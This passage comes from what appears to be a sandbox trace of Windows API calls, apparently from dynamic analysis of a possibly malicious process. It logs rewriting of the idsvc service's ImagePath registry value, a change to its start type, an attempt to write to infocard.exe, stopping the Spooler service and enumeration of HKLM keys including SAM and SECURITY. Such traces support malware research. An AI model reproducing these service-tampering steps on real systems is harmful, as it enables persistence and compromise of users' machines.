lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.339] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.339] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.339] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.339] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.339] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0255.384] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0255.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0255.384] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0255.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0255.384] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0255.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0255.384] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0255.385] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0255.385] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0255.385] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0255.385] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0255.385] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0255.385] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0255.385] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0255.385] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0255.386] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0255.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0255.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0255.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0255.386] LocalFree (hMem=0x7f03d0) returned 0x0 [0255.386] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0255.386] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x8038a0 [0255.386] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0255.387] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0255.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.388] RegCloseKey (hKey=0x148) returned 0x0 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0255.388] RegCloseKey (hKey=0x150) returned 0x0 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0255.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0255.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0255.388] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0255.388] GetLastError () returned 0x5 [0255.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0255.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0255.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0255.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0255.391] NtClose (Handle=0x150) returned 0x0 [0255.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0255.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0255.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0255.627] NtClose (Handle=0x150) returned 0x0 [0255.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0255.627] NtClose (Handle=0x148) returned 0x0 [0255.627] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0256.043] NtClose (Handle=0x154) returned 0x0 [0256.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0256.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0256.043] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0256.043] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0256.044] GetLastError () returned 0x5 [0256.044] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0256.044] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0256.044] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0256.044] OpenServiceW (hSCManager=0x803918, lpServiceName="Spooler", dwDesiredAccess=0x20) returned 0x803990 [0256.045] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x110, dwCurrentState=0x4, dwControlsAccepted=0xc1, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0256.045] GetLastError () returned 0x41b [0256.045] CloseServiceHandle (hSCObject=0x803990) returned 1 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0256.046] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.046] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.046] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.046] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0256.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0256.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.047] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.048] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0256.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 